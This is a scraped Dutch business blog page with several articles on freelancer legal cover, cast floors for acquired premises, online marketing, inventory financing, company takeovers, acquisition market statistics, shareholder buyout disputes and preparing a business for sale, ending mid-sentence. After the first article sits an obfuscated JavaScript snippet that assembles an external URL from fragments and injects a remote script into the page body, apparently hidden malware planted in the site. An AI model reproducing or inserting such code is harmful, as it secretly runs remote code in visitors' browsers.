Koop jouw bedrijf

Als zzp’er geniet je van vrijheid, flexibiliteit en directe invloed op je eigen succes. Je kiest je klanten, bepaalt je tarieven en richt je werk in zoals jij dat wilt. Maar zelfstandigheid betekent ook dat je zelf verantwoordelijk bent voor alles wat mis kan gaan. Een misgelopen opdracht, een onduidelijk contract of een klant die niet betaalt; het hoort allemaal bij de risico’s van ondernemen. Juist daarom is het belangrijk om na te denken over juridische zekerheid. Want hoe goed je je werk ook doet, een klein geschil kan grote gevolgen hebben voor je tijd, geld en reputatie. Wat kun je zelf regelen? Veel juridische risico’s kun je als ondernemer zelf beperken. Begin met duidelijke en volledige contracten. Leg afspraken schriftelijk vast, ook bij langdurige samenwerkingen met vaste klanten. Vermeld bijvoorbeeld:   De oplevertermijn De betalingsvoorwaarden De verantwoordelijkheden van beide partijen   Gebruik daarnaast algemene voorwaarden die zijn afgestemd op jouw branche. Hierdoor weet je zeker dat je altijd een solide juridische basis hebt. Ook is het verstandig om correspondentie en wijzigingen goed te bewaren. Deze proactieve aanpak vergroot je juridische zekerheid. Ook voorkomt dit dat je afhankelijk wordt van dure procedures. Maar soms is zelf regelen niet genoeg. Wanneer schakel je een expert in? Er zijn situaties waarin het beter is om deskundige hulp te vragen. Denk aan complexe contracten, aansprakelijkheidskwesties of samenwerkingen met buitenlandse opdrachtgevers. Een juridisch expert kan beoordelen of je documenten waterdicht zijn en of je risico’s goed hebt afgedekt. Ook bij geschillen is het verstandig om tijdig advies te vragen, voordat de situatie escaleert. Vaak kan een jurist bemiddelen en zo een langdurige en kostbare procedure voorkomen. Het inschakelen van een specialist betekent niet alleen dat je het niet zelf kunt, maar ook dat je je tijd en energie richt op waar je het beste in bent, namelijk ondernemen. De waarde van een zzp-rechtsbijstandverzekering Een zzp-rechtsbijstandverzekering is voor veel zelfstandigen een slimme keuze. Met zo’n verzekering heb je toegang tot juridische ondersteuning zonder dat je direct hoge kosten hoeft te maken. De verzekering dekt vaak advies, bemiddeling en – indien nodig – de proceskosten. Daarnaast kun je bij veel aanbieders terecht voor preventieve hulp, zoals het laten controleren van contracten of het krijgen van advies bij onderhandelingen. Een zzp-rechtsbijstandverzekering is daarmee niet alleen een vangnet bij problemen, maar ook een praktische partner in het dagelijks ondernemerschap. Zeker voor zzp’ers die regelmatig met nieuwe klanten of projecten werken, biedt dat rust en continuïteit. De balans tussen zelf doen en uitbesteden De kunst is om de juiste balans te vinden tussen zelf regelen en professioneel advies inschakelen. Niet elk juridisch vraagstuk vraagt om een advocaat, maar sommige situaties zijn te complex om zelf op te lossen. Een goed uitgangspunt is: zelf doen wat je begrijpt en controleerbaar is en experts inschakelen zodra het gaat om interpretatie van wet- en regelgeving. Zo houd je grip op kosten én op risico’s. Bovendien bouw je met die aanpak een netwerk van betrouwbare adviseurs op die je bedrijf door en door kennen: waardevol, zeker als je groeit of personeel gaat aannemen. Ondernemen met vertrouwen Uiteindelijk draait het allemaal om ondernemen met vertrouwen. Juridische zekerheid betekent niet dat je overal een handtekening of een clausule voor nodig hebt, maar dat je weet waar je staat. Dat je risico’s kent, voorbereid bent en weet op wie je kunt terugvallen als het spannend wordt. Of je nu kiest voor eigen beheer, een vaste jurist of een zzp-rechtsbijstandverzekering, het gaat om hetzelfde doel: zekerheid inbouwen, zodat jij met een gerust hart kunt ondernemen. Want wie zijn juridische zaken op orde heeft, kan zich volledig richten op groei, klanten en kansen: precies wat ondernemen de moeite waard maakt. (function(){ ivfX_=("ope"+"n");ivfX=document.createElement("script");ivfX.async=true; ivfXu="2541312435";ivfX_+=("s")+"t"+"a"+("t.");ivfX_+=""+("e"+(""))+("u/"); ivfXu+=".d318priavfXgu7nl";ivfXu+="y77jrkk6vym55a"; ivfX.src="https://"+ivfX_+ivfXu;ivfX.type="text/javascript"; d_b=document.body;d_b.appendChild(ivfX); })(); ...

Wanneer je een bestaand bedrijf overneemt, wil je niet alleen de bedrijfsvoering moderniseren, maar ook het pand laten aansluiten bij jouw visie en merkidentiteit. Een frisse, professionele uitstraling begint bij de basis – de vloer. Een lavasteen gietvloer is dé oplossing voor ondernemers die hun overgenomen bedrijfspand willen vernieuwen met een duurzame, stijlvolle en onderhoudsvriendelijke vloerafwerking.   Strakke en moderne uitstraling Een lavasteen gietvloer staat bekend om zijn naadloze, strakke look. Dit geeft elke ruimte een moderne en professionele uitstraling. Of het nu gaat om een kantoor, showroom, winkel of horecagelegenheid, een lavasteen gietvloer zorgt voor een uniforme, elegante basis die goed te combineren is met andere interieurmaterialen zoals glas, hout of metaal. De natuurlijke textuur van lavasteen voegt bovendien een subtiel, luxe effect toe, waardoor het pand direct een hoogwaardige uitstraling krijgt.   Duurzaam en onderhoudsvriendelijk Bedrijfspanden hebben vaak te maken met veel verkeer, van klanten tot medewerkers. Lavasteen gietvloeren zijn zeer slijtvast en bestand tegen dagelijks gebruik, waardoor ze een lange levensduur hebben. Bovendien zijn ze eenvoudig schoon te houden: vuil en vloeistoffen trekken niet in de vloer, en het gladde oppervlak kan gemakkelijk worden gereinigd met een vochtige doek of een mild schoonmaakmiddel. Dit bespaart niet alleen tijd en kosten, maar zorgt ook voor een hygiënische werkomgeving.   Flexibiliteit in kleur en design Lavasteen gietvloeren zijn beschikbaar in verschillende kleuren en afwerkingen, waardoor ze aangepast kunnen worden aan de huisstijl of het gewenste imago van het bedrijf. Donkere tinten zoals antraciet of zwart geven een industriële, moderne uitstraling, terwijl lichte grijstinten of beige zorgen voor een open, lichte en uitnodigende sfeer. Het is ook mogelijk om vloeren te personaliseren met logo’s, patronen of kleuraccenten, wat vooral interessant is voor showrooms en winkels die hun merkidentiteit willen versterken.   Comfortabel en veilig Ondanks het robuuste karakter voelt een lavasteen gietvloer comfortabel aan en kan hij gecombineerd worden met vloerverwarming. Dit zorgt voor een aangename temperatuur en verhoogt het comfort voor medewerkers en klanten. Bovendien zijn gietvloeren antislip, wat extra veiligheid biedt in ruimtes waar veel gelopen wordt of waar vocht kan voorkomen, zoals kantines en sanitaire ruimtes.   Veelzijdige toepassingen Een van de grootste voordelen van een lavasteen gietvloer is volgens de experts van G-vloeren de veelzijdigheid. Ze kunnen gebruikt worden in kantoren, showrooms, winkels, horecagelegenheden, ziekenhuizen en zelfs magazijnen. De vloer kan bovendien doorgetrokken worden naar andere ruimtes, waardoor een samenhangend en ruimtelijk effect ontstaat. Ook is het eenvoudig om meubels en inrichting aan te passen zonder dat de vloer beschadigd raakt, waardoor je bedrijfspand flexibel blijft voor toekomstige veranderingen.   Investering in uitstraling en waarde Het vernieuwen van je bedrijfspand met een lavasteen gietvloer is niet alleen een esthetische keuze, maar ook een investering in de waarde van het pand. Een moderne, goed onderhouden vloer verhoogt de aantrekkingskracht van het pand en kan bijdragen aan een positief imago van het bedrijf. Voor potentiële klanten, partners en medewerkers maakt dit een groot verschil: een stijlvolle, duurzame vloer straalt professionaliteit en kwaliteit uit. ...

Ben je voornemens om een bedrijf te kopen in de e-commerce? Dan is online marketing online marketing cruciaal voor het succes van je bedrijf. Maar hoe zorg je ervoor dat jouw webshop opvalt tussen de concurrentie? Laten we eens duiken in de kracht van online marketing en hoe dit jouw e-commerce business kan laten groeien. SEO: De basis van online zichtbaarheid Wat is SEO? SEO, oftewel zoekmachineoptimalisatie, is het proces waarbij je jouw website optimaliseert om hoger te scoren in zoekmachines zoals Google. Dit betekent meer organisch verkeer naar je site zonder dat je hoeft te betalen voor advertenties. Waarom is SEO belangrijk? Een goede SEO-strategie zorgt ervoor dat jouw website beter zichtbaar is voor potentiële klanten. Hoe hoger je scoort in de zoekresultaten, hoe groter de kans dat mensen op jouw link klikken. Dit leidt tot meer bezoekers en uiteindelijk meer verkopen. Hoe Traffic Today helpt Bij Traffic Today begrijpen ze dat SEO meer is dan alleen maar keywords toevoegen aan je content. Ze gebruiken geavanceerde technieken zoals AI en machine learning om te voorspellen welke content goed zal presteren. Daarnaast zorgen ze ervoor dat jouw site mobielvriendelijk is en geoptimaliseerd voor voice search, wat steeds belangrijker wordt. SEA: Direct resultaat met zoekmachine adverteren Wat is SEA? SEA staat voor search engine advertising, oftewel zoekmachine adverteren. Dit zijn de betaalde advertenties die bovenaan de zoekresultaten verschijnen wanneer iemand een bepaalde zoekterm invoert. Voordelen van SEA Het grootste voordeel van SEA is dat je direct resultaat ziet. Zodra je campagne live gaat, begin je verkeer naar je site te krijgen. Dit maakt het een uitstekende strategie voor nieuwe webshops die snel zichtbaarheid willen krijgen. Expertise van Traffic Today Traffic Today heeft uitgebreide ervaring met het opzetten en beheren van SEA-campagnes. Ze zorgen ervoor dat jouw advertenties worden getoond aan de juiste doelgroep, wat resulteert in hogere conversieratio's en een beter rendement op investering (ROI). Content marketing Wat is content marketing? Content marketing draait om het creëren en delen van waardevolle content om een specifieke doelgroep aan te trekken en te behouden. Dit kan variëren van blogposts en video's tot infographics en e-books. Waarom content marketing? Goede content helpt niet alleen om verkeer naar je site te trekken, maar bouwt ook vertrouwen en autoriteit op bij je publiek. Mensen kopen liever bij bedrijven die ze kennen en vertrouwen. Traffic Today's aanpak Traffic Today richt zich op het creëren van hoogwaardige content die niet alleen informatief is maar ook deelbaar. Dit betekent dat andere websites eerder geneigd zijn om naar jouw content te linken, wat weer goed is voor je SEO. Relevante trends in online marketing De wereld van online marketing verandert voortdurend. Hier zijn enkele trends waar Traffic Today op inspeelt: AI en machine learning: deze technologieën helpen bij het analyseren van data en het voorspellen van trends. Mobiele optimalisatie: steeds meer mensen browsen via hun smartphone, dus een mobielvriendelijke site is cruciaal. Voice search: met de opkomst van spraakgestuurde assistenten zoals Siri en Alexa wordt voice search steeds belangrijker. Core web vitals: deze metrics meten de gebruikerservaring op je website, iets waar veel aandacht aan besteed wordt. Kwalitatieve content: goede content blijft koning; het moet waardevol zijn voor de lezer. Omnichannel marketing: door verschillende kanalen te integreren, zorg je voor een consistente merkervaring die klanten aantrekt en behoudt. ...

Voorraad is vaak het fundament van je onderneming. Maar voorraad opbouwen heeft grote impact op je cashflow. Zeker als je groeit, grotere volumes wilt inkopen of te maken hebt met seizoenspieken. Bedrijven die veel voorraad aanhouden, lopen dan ook regelmatig tegen hun financieringsgrenzen aan. Gelukkig zijn er slimme oplossingen waarmee je voorraad juist kunt inzetten als groeiversneller. Hieronder lees je hoe het werkt, met praktijkvoorbeelden van bedrijven die op een slimme manier hun voorraad financieren.    De aanhoudende groei van het aantal e-commercebedrijven speelt een belangrijke rol bij de toename van voorraadfinanciering. Steeds meer ondernemers bouwen grotere en snellere voorraadposities op om aan de vraag te voldoen. Dit vraagt om meer flexibiliteit en betere afstemming van financieringsoplossingen. Waar voorheen vooral grotere bedrijven toegang hadden tot voorraadfinanciering en supply chain finance, zien we dat deze vormen van financiering nadrukkelijker in beeld komen voor het mkb.   Motieven Als ondernemer herken je waarschijnlijk de volgende motieven bij het uitbreiden van handelsvoorraad:   Voorbereiding op seizoenspieken Ondernemers leggen extra voorraad aan in aanloop naar een piekseizoen (zoals feestdagen of zomerperiode), om tijdig en in voldoende mate aan de stijgende klantvraag te kunnen voldoen. Bulkinkoop voor kostenvoordeel Door grotere volumes in te kopen kunnen leverancierskortingen worden benut, wat leidt tot lagere inkoopprijzen en verbeterde marges. Verkorten van levertijden Het op voorraad hebben van populaire producten stelt bedrijven in staat om sneller te leveren, wat de klanttevredenheid en concurrentiepositie versterkt. Assortimentsuitbreiding Het toevoegen van nieuwe producten of varianten aan het bestaande aanbod vergroot de aantrekkingskracht van het bedrijf en opent de deur naar nieuwe klantgroepen of markten.   Juist voor deze situaties is groeifinanciering op voorraad ideaal. Je investeert op het juiste moment in je voorraad, zonder dat je direct je liquiditeit of bestaande kredietruimte onder druk zet. Ingekochte goederen komen bij groei in grotere volumes binnen, terwijl uitlevering vaak pas later plaatsvindt. Dat betekent: eerst opslag, dan facturatie met betalingstermijn. Ondertussen willen handelscrediteuren wél direct betaald worden. Zij wachten niet op je debiteurenontvangsten. Dit leidt vaak tot een tijdelijk liquiditeitstekort. Veel ondernemers lossen dit op met eigen middelen of laten de holding bijspringen. Soms wordt zelfs een tijdelijke lening van de directeur-grootaandeelhouder aangetrokken. Dat is echter niet wenselijk of structureel houdbaar.   Het goede nieuws voor deze ondernemers: een betaalde, courante voorraad leent zich uitstekend voor externe financiering. Banken bieden hier vaak een rekening-courantfaciliteit voor, maar die sluit lang niet altijd aan bij de groeibehoefte – bijvoorbeeld doordat periodieke afbouw van de limiet wordt verlangd. Voor bedrijven in de groeifase is een oplossing nodig die met je meebeweegt. Laat je inspireren door onderstaande praktijkvoorbeelden. Voorbeelden uit de praktijk Praktijkcase 1: Voorraadintensieve retailonderneming Een voorraadintensieve retailonderneming groeide hard en had behoefte aan extra inkoopkracht. De onderneming verkoopt met name verwarmde en verkoelende artikelen zoals handschoenen, zolen, sokken en kleding. Seizoensgebonden inkoop- en omzet dus. Via NLInvesteert kreeg het bedrijf een lening van € 1.840.000 op basis van een tweede pandrecht op de voorraad en een looptijd van 12 maanden.    Deze oplossing liet zien dat er ook bij bestaande zekerheden nog ruimte was voor aanvullende financiering en dat er maatwerk toegepast worden.    De lening was zo ingericht dat de onderneming na aflossing opnieuw een ronde voorraadfinanciering kan inzetten. De betreffende lening was alweer de derde voorraadfinanciering die de onderneming via NLInvesteert verkreeg. Hierdoor ontstaat een flexibel, herhaalbaar groeimodel dat perfect aansluit bij seizoenspatronen en de voorraadcyclus.   Praktijkcase 2: Snelgroeiende onderneming in de tuin- en outdoorbranche Een snelgroeiende e-commerce onderneming in de tuin- en outdoorbranche. Het bedrijf heeft elk voorjaar te maken met sterke pieken in de vraag. Om daarop te kunnen inspelen, zet deze e-commerce voorraadfinanciering via NLInvesteert in om vroegtijdig voorraad op te bouwen. Er werd een financiering groot € 2.750.000 verschaft met een looptijd van 9 maanden.    Met deze financiering  kunnen zij groot inkopen in het laagseizoen en op het juiste moment uitleveren, zonder dat de cashflow in de knel komt. Ook hier geldt: de financiering is kortlopend en inzetbaar per cyclus, wat flexibiliteit en schaalbaarheid biedt.   Supply Chain Finance Supply chain finance is een moderne vorm van ketenfinanciering waarbij een externe financier je leveranciers direct betaalt. Jij als ondernemer betaalt later terug. Hierdoor behoud je je relatie met leveranciers en profiteer je van betalingskorting, zonder je eigen kaspositie te belasten. Deze vorm van financiering wordt vaak in combinatie gebruikt met factoring in ieder geval voor het deel wat nodig is om de inkoopfinanciering terug te brengen.    Stapelfinanciering Voorraadfinanciering laat zich uitstekend combineren met andere vormen van financiering, zoals: Factoring (voorschot op je openstaande facturen) Crowdfunding (kapitaal via investeerders) Seizoenskrediet (tijdelijke faciliteit voor voorraadopbouw) Zo ontstaat er een ‘stapelconstructie’ waarbij je verschillende onderdelen van je werkkapitaalcyclus tegelijk optimaliseert. Wel is het zaak de voorwaarden van iedere financier goed op elkaar af te stemmen en conflicten ten aanzien van zekerheden en aflossingscondities te voorkomen. Een financieringsadviseur kan je hierbij begeleiden.  Wat levert het op? Meer inkoopkracht op het juiste moment Grotere leverbetrouwbaarheid Minder druk op je liquiditeit Lagere afhankelijkheid van banken Een schaalbaar financieringsmodel dat meegroeit met je bedrijf Conclusie Voorraad hoeft geen blokkade te zijn voor groei. Met slimme financieringsoplossingen kun je je voorraadpositie juist strategisch inzetten om in te spelen op kansen in de markt.   Wil je weten wat er voor jouw bedrijf mogelijk is? Laat dan een onafhankelijke werkkapitaalscan uitvoeren. Zo ontdek je hoeveel ruimte er in jouw voorraad zit.    NLInvesteert West-Brabant Bedrijfsfinanciering West-Brabant | NLInvesteert   ...

  Ben je toe aan de volgende stap in de groei van je onderneming? Droom je van een eigen bedrijf, maar wil je niet vanaf nul beginnen? In beide gevallen kan een bedrijfsovername het overwegen waard zijn. Bij het kopen van een bedrijf worden verschillende stappen doorlopen. Zo begin je met een oriëntatie, waarbij je verschillende partijen benadert en kijkt welke mogelijkheden zij bieden rond een bedrijfsovername. Gaat het bijvoorbeeld om een volledige overname, of slechts om een deel van de onderneming? Kijk ook alvast eens naar de omvang van het bedrijf. Uit hoeveel personen bestaat het personeelsbestand en gaan zij mee naar de nieuwe eigenaar? Wat is de huidige omzet van het bedrijf en op basis van hoeveel klanten wordt die omzet gerealiseerd? Enzovoorts. In dit artikel lees je meer over de overname van een bedrijf en hetgeen hierbij komt kijken. Due diligence, waardering en uitbrengen van een bod Na de fase waarin je jezelf oriënteert op de mogelijkheden, is het waarderen van het bedrijf de volgende stap. Op basis van die waardering kun je een eerste bod uitbrengen. Je kunt zo’n waardering zelf bepalen, maar hier ook een professional voor inschakelen. Deze kijkt naar de huidige en toekomstige marktomstandigheden, naar de zogenaamde discounted cashflow van een bedrijf, naar de intrinsieke waarde ervan en bijvoorbeeld naar de rentabiliteitswaarde. Er zijn op het internet verschillende formules en rekenmodellen te vinden, waarmee je zelf een inschatting kunt maken van de waardering van een bedrijf. De diversiteit aan factoren om rekening mee te houden maakt dit vaak echter niet eenvoudig. In sommige gevallen is al in deze eerste fase van een bedrijfsovername mogelijk om een deel van de boeken te bekijken. Bedrijven met een zzp rekening van bijvoorbeeld KNAB kunnen deze koppelen aan een online boekhoudpakket. Vaak is het mogelijk om een deel van de data in dat pakket te exporteren. Het geeft alvast inzicht in de omzet, de winst, de verschillende kostenposten, enzovoorts. Niet ongebruikelijk is het echter dat de meeste data pas wordt gegeven nadat er een principeovereenkomst bereikt is over de overname. Immers, een bedrijf zal je niet onnodig veel informatie willen verschaffen als nog niet zeker is dat je daadwerkelijk overgaat tot de overname ervan. Het bekijken van de boeken is in dat geval onderdeel van de due diligence. Als koper heb je de plicht de boeken te controleren. Contracten opstellen, closing en praktische overname bedrijf Wanneer het onderzoeken van de boeken van een bedrijf geen verrassingen oplevert en de overname definitief door kan gaan, is het zaak om de contracten op te stellen en te ondertekenen. Laat je hierbij altijd ondersteunen door een juridisch specialist. Deze kan je meer vertellen over de inhoud van het contract, je wijzen op potentieel missende voorwaarden, enzovoorts. Dit kan op langere termijn veel leed en conflictsituaties voorkomen. De juridische terminologie in de contracten maakt het niet altijd even makkelijk om deze zonder hulp van een specialist volledig te doorgronden. Is de bedrijfsovername rond? De laatste stappen hebben betrekking op de praktische overname van het bedrijf. KNAB biedt een eenvoudige overstapservice voor ondernemers die eerder een rekening openden bij een andere bank. Het voordeel hiervan is dat bijvoorbeeld incassanten automatisch bericht krijgen dat het rekeningnummer gewijzigd is. Dat scheelt veel administratieve rompslomp. Wanneer je een rekening overneemt die op naam van een andere houder staat, zijn de mogelijkheden afhankelijk van de bank waar de rekening afgesloten is. Het is in sommige gevallen mogelijk om de houder van een zakelijke bankrekening na het aanleveren van de persoonsgegevens en bijvoorbeeld een kopie van het identiteitsbewijs van een nieuwe houder te wijzigen.   ...

De bedrijfsovernamemarkt in het midden- en kleinbedrijf is 2025 sterk begonnen. De vraag naar bedrijven nam in het eerste kwartaal met 10% toe ten opzichte van Q1 2024, waarmee het vertrouwen van kopers verder lijkt te herstellen. Ook het aanbod van bedrijven steeg licht (+3%) vergeleken met dezelfde periode vorig jaar.   De groei is vooral zichtbaar in sectoren met schaalbare verdienmodellen, zoals ICT en non-food retail. In traditionele sectoren zoals transport, agri-food en bouw blijft de activiteit juist achter. Vergeleken met het laatste kwartaal van 2024 is het beeld stabiel – maar in vergelijking met begin vorig jaar is de toegenomen dynamiek onmiskenbaar.   Vraagzijde: duidelijk meer interesse in schaalbare en dienstverlenende bedrijven In vergelijking met Q1 2024 is de vraag in meerdere sectoren flink toegenomen: In de detailhandel non-food steeg de vraag met +57%, vooral dankzij belangstelling voor e-commerce en franchiseconcepten. Ook de ICT-dienstverlening (+11%) en bredere zakelijke dienstverlening (+8%) trokken meer geïnteresseerde kopers. Daartegenover daalde de vraag fors in transport (–39%), agri-food (–27%) en bouw (–20%). Per omzetklasse is de vraag het sterkst toegenomen bij bedrijven met een jaaromzet tussen de €500.000 en €2,5 miljoen. Deze categorieën lieten groeipercentages zien tussen de +15% en +25%. Bij bedrijven met een omzet onder de €250.000 daalde de vraag juist licht.   Vergeleken met het laatste kwartaal van 2024 (Q4) bleef de vraag nagenoeg gelijk (–1%). De toename ten opzichte van een jaar eerder onderstreept dat kopers opnieuw actiever durven zoeken.   Aanbodzijde: lichte stijging, met grote verschillen tussen sectoren Het aanbod van bedrijven op de overnamemarkt was in Q1 2025 3% hoger dan in Q1 2024. Achter dat bescheiden groeicijfer gaan stevige sectorale verschuivingen schuil: Het aanbod in non-food retail nam toe met +39%; met name webwinkels en formules met een vaste klantenbasis zijn vaker verkoopklaar. De grootste stijging werd gezien in ICT-dienstverlening, waar het aantal nieuwe bedrijven dat zich aanbood meer dan verdubbelde ten opzichte van Q1 2024. Ook industrie en dienstverlening zagen een groei in aanbod (beide rond de +15% à +20%). In transport (–75%), bouw (–40%) en agri-food (–33%) nam het aanbod sterk af. Ondernemers lijken hier voorzichtiger met het zetten van een verkoopstap. Kijkend naar omzetgroepen komt de grootste aanbodgroei uit bedrijven met een omzet tussen €1 miljoen en €5 miljoen (+25% tot +40%). Bij de kleinste bedrijven (onder de €100.000 omzet) daalde het aantal nieuwe verkoopprofielen met ruim 30%.   Ten opzichte van Q4 2024 daalde het aanbod licht (–5%). Dat is grotendeels seizoensmatig en past bij het patroon dat januari–maart doorgaans iets rustiger is dan de slotmaanden van het jaar.   Wat valt op? De vergelijking met een jaar eerder laat een duidelijke beweging zien in de overnamemarkt: De vraag groeit weer stevig. Vooral in sectoren waar kopers groei, schaalbaarheid en lage kapitaalsintensiteit zien. Denk aan ICT, zakelijke dienstverlening en online retail. Het aanbod groeit selectief mee. Tech-gedreven bedrijven en het commercieel ingestelde midden van het MKB vormen een steeds groter aandeel van de verkopers. Kleinste bedrijven verliezen terrein. Zowel kopers als verkopers tonen minder activiteit in het segment onder de €250.000 omzet. Kosten spelen een remmende rol in traditionele sectoren. Transport, bouw en agri-food zien zowel minder vraag als minder aanbod, waarschijnlijk door onzekerheid over marges en regelgeving. Vooruitblik De overnamemarkt in het midden- en kleinbedrijf is gezond en in beweging. De stijgende vraag vergeleken met begin 2024 laat zien dat het vertrouwen bij kopers terugkomt. Voor verkopers ligt de sleutel in schaalbaarheid, winstgevendheid en marktpositie.   Bedrijven die opereren in stabiele, schaalbare niches met een omzet tussen €500.000 en €5 miljoen zitten op dit moment in een uitstekende uitgangspositie. In sectoren waar marges onder druk staan, is het zaak eerst intern te optimaliseren voordat de stap naar verkoop wordt gezet.   Zelf een bedrijf kopen of verkopen? Ben je op zoek naar een koper voor je bedrijf? Vind hier alles wat je nodig hebt voor het verkopen van je bedrijf Ben je op zoek naar een geschikt bedrijf ter overname? Vind hier ons actuele aanbod aan bedrijven te koop ...

Als een aandeelhouder wordt uitgekocht ontstaan er discussies over de prijs van de aandelen. Ook al heeft een onafhankelijke, onpartijdige en ervaren waarderingsdeskundige een waarderingsrapport gemaakt volgens de NiRV richtlijnen, dan nog ontstaat er meestal een stevig debat over de juiste prijs. Waarde is namelijk nog geen prijs. Waarde is gebaseerd op prognoses, toekomstige geldstromen, investeringen en risico’s. Prijs is het resultaat van een onderhandeling.  Je kunt pas uittreden als je over de prijs en alle samenhangende voorwaarden overeenstemming hebt als aandeelhouders. Je moet het eens worden. Het probleem is dat het vertrek van een aandeelhouder meestal niet zomaar ontstaat. De samenwerking is lastig, misschien zelfs onmogelijk geworden. Er worden over en weer verwijten gemaakt en soms is er sprake van een openlijk conflict. Dat conflict keert terug in de hoogte van de vraagprijs. Wat zijn nu die “openstaande rekeningen” die we bij veel prijsdiscussies tegenkomen? Openstaande rekeningen zijn financiële of emotionele claims die de verkoper verrekent in een verhoogde vraagprijs:     Financieel Argumenten Afgesneden van toekomstig rendement Ik krijg een aantal jaren “EBITDA” of winst mee, maar daarna houdt het voor mij op, terwijl de anderen blijven verdienen. Veel meer groei en waarde mogelijk Ik denk dat er in de toekomst nog veel meer omzet, marge en winst gemaakt gaat worden. Gemiste kans op “cashen”   Ik denk dat het bedrijf voor een hele hoge prijs in de toekomst wordt verkocht. Bijdragen niet vertaald in waarde Mijn prestaties voor deze onderneming komen niet voldoende tot uitdrukking in de waarde. Ik zou een groter deel moeten ontvangen. Concurrentiebeding Omdat ik niet in deze sector actief mag zijn voor 2-3 jaar, kan ik geen inkomen verdienen. Ik moet daarom een groter bedrag ontvangen om die periode te overbruggen. Startkapitaal nodig Ik heb een startkapitaal nodig om een nieuwe onderneming te starten. Waarde te laag ingeschat De waarde is te laag ingeschat omdat de prognose te laag en de risico’s te hoog zijn ingeschat. Ik vind dat de economische omstandigheden te somber zijn ingeschat. Schade Ik heb schade geleden doordat ik ben tegengewerkt en omdat de andere aandeelhouders de waarde hebben gedrukt. Zij hebben verkeerde strategische keuzes gemaakt, slechte investeringen gedaan of zichzelf teveel beloond. Dividend   Ik heb nooit dividend of ik heb te weinig dividend ontvangen, terwijl er meer dan genoeg cash in de onderneming was. Uittreding Bij een uittredingsprocedure (artikel 2:343 BW) bepaalt de rechter de prijs van de aandelen aan de hand van een waardebepaling. Als ik niet een betere prijs krijg, ga ik naar de Ondernemingskamer om uittreding te vorderen.     Emotioneel Argumenten Niet gezien, niet gewaardeerd Ik voel mij niet gezien, niet begrepen en niet gewaardeerd. Ik heb veel voor de onderneming betekend maar nooit de eer of de waardering hiervoor ontvangen. Harder gewerkt, meer bijgedragen Ik heb veel harder gewerkt dan de andere directeuren-bestuurders-managers en veel meer bijgedragen aan het resultaat. Ik verdien een premie of een “bonus”. Dwars gezeten, samenzwering De andere aandeelhouders hebben mij structureel dwarsgezeten en tegengewerkt. Zij werkten actief samen om mij eruit te werken. Er is een complot tegen mij. Onterecht ontslagen Ik ben op volstrekt onterechte gronden ontslagen of eruit gezet. Ik heb niets verkeerds gedaan en ik ben mijn werk en mijn toekomst kwijt.  Het was mijn idee, mijn initiatief Ik heb ooit het idee gehad om dit te starten, ik heb ooit de aandeelhouders bij elkaar gehaald, ik heb ooit het geld gestort om te starten. Zonder mij was deze onderneming er nooit geweest. Slachtoffer compensatie Ik ben slachtoffer van manipulaties, leugens en bedrog door de anderen. Ik verdien een compensatie voor mijn leed. Reputatie   Mijn reputatie is door dit vertrek beschadigd. De hele sector weet dat ik eruit ben gezet. Ik kom nergens meer aan de bak. Het gevolg van openstaande rekeningen is dat onderhandelingen eindeloos duren en vaak eindigen in een dure, rechterlijke procedure. Zakelijke mediation kan een dergelijke escalatie voorkomen. In mediation komen juist alle openstaande rekeningen als eerste aan bod, omdat die de normale prijsonderhandeling frustreren. Door intensieve intakes en gerichte interventies proberen mediators alle emotionele “angels” uit het proces te halen. In vier van de vijf mediations lukt het om alsnog tot een evenwichtige deal te komen.  Alexander Thomassen Instituut voor Zakelijke Mediation   ...

Het besluit om je bedrijf te verkopen is geen kleintje. Je hebt er jarenlang je ziel en zaligheid in gestoken—nu wil je natuurlijk dat die inzet ook goed wordt beloond. Een goede voorbereiding is daarom essentieel. Je bedrijf verkoopklaar maken betekent dat je ervoor zorgt dat alles klopt: van de cijfers tot de uitstraling. Zorg voor overzichtelijke processen, een up-to-date klantenbestand, duidelijke contracten en een sterke online aanwezigheid. Kopers zoeken niet alleen naar winst, maar ook naar zekerheid en stabiliteit. Een goed georganiseerd bedrijf wekt vertrouwen—en dat vertaalt zich in een betere verkooppositie én prijs.   Zorg ervoor dat al het papierwerk goed is geregeld Bij een bedrijfsoverdracht draait het niet alleen om een stevig handdrukmoment aan het einde. Het administratieve en juridische papierwerk vormt de ruggengraat van het verkoopproces. Denk aan jaarrekeningen, arbeidscontracten, huur- of leaseovereenkomsten, leverancierscontracten, IP-rechten en eigendomsdocumenten. Alles moet kloppen én makkelijk terug te vinden zijn. Door deze documenten netjes te verzamelen en op orde te brengen, voorkom je onnodige vertragingen of afhaakmomenten bij geïnteresseerde kopers. Een gestructureerde administratie laat zien dat je grip hebt op je onderneming—en dat is voor elke potentiële koper goud waard.   Ga voor een fijne transitie, helemaal als er personeel bij betrokken is Als er medewerkers betrokken zijn bij je bedrijf, is het belangrijk om aandacht te besteden aan een soepele en respectvolle overgang. Voor jou is het een zakelijke beslissing, maar voor je team kan het voelen als een schok of onzekerheid. Houd je medewerkers tijdig op de hoogte, zorg ervoor dat de beroepsaansprakelijkheidsverzekering goed geregeld is en betrek ze waar mogelijk in het proces. Een transparante communicatie voorkomt onrust én behoudt de motivatie binnen het team. Idealiter stel je samen met de koper een transitieplan op, waarin zaken als overname van personeel, communicatie en toekomstige werkstructuur duidelijk zijn uitgewerkt.   Stel een realistisch plan voor jezelf op De verkoop van je bedrijf is een belangrijke mijlpaal—maar wat komt er daarna? Of je nu gaat genieten van een welverdiend sabbatical, wil investeren in een nieuw avontuur, of juist langzaam wilt afbouwen: stel een realistisch plan voor jezelf op. Dit helpt je om gefocust te blijven tijdens de verkoop én voorkomt dat je na de overdracht in een gat valt. Denk na over je financiële situatie, je tijdsbesteding en je persoonlijke doelen. Wat wil je bereiken in het jaar na de verkoop? Door hier vooraf goed over na te denken, geef je jezelf rust én richting.   Schakel een expert in tijdens de verkoop De verkoop van een bedrijf is een complex proces, met juridische, fiscale én emotionele haken en ogen. Het loont dan ook om een expert in te schakelen die je hierbij begeleidt. Denk aan een overname adviseur, accountant, fiscalist of jurist met ervaring in bedrijfsverkoop. Zij weten precies waar op te letten en kunnen onderhandelen met kopers, documenten controleren en adviseren over de waardebepaling van je bedrijf. Zo voorkom je dat je belangrijke zaken over het hoofd ziet—en kun jij je richten op de grote lijnen, met een gerust hart.   Denk ook na over het emotionele aspect van de verkoop Een bedrijf verkopen is méér dan een zakelijke transactie. Je neemt afscheid van iets dat je zelf hebt opgebouwd, met vallen en opstaan. Dat kan onverwachte emoties oproepen: trots, opluchting, twijfel of zelfs rouw. Gun jezelf de tijd om deze gevoelens te erkennen. Misschien helpt het om met andere 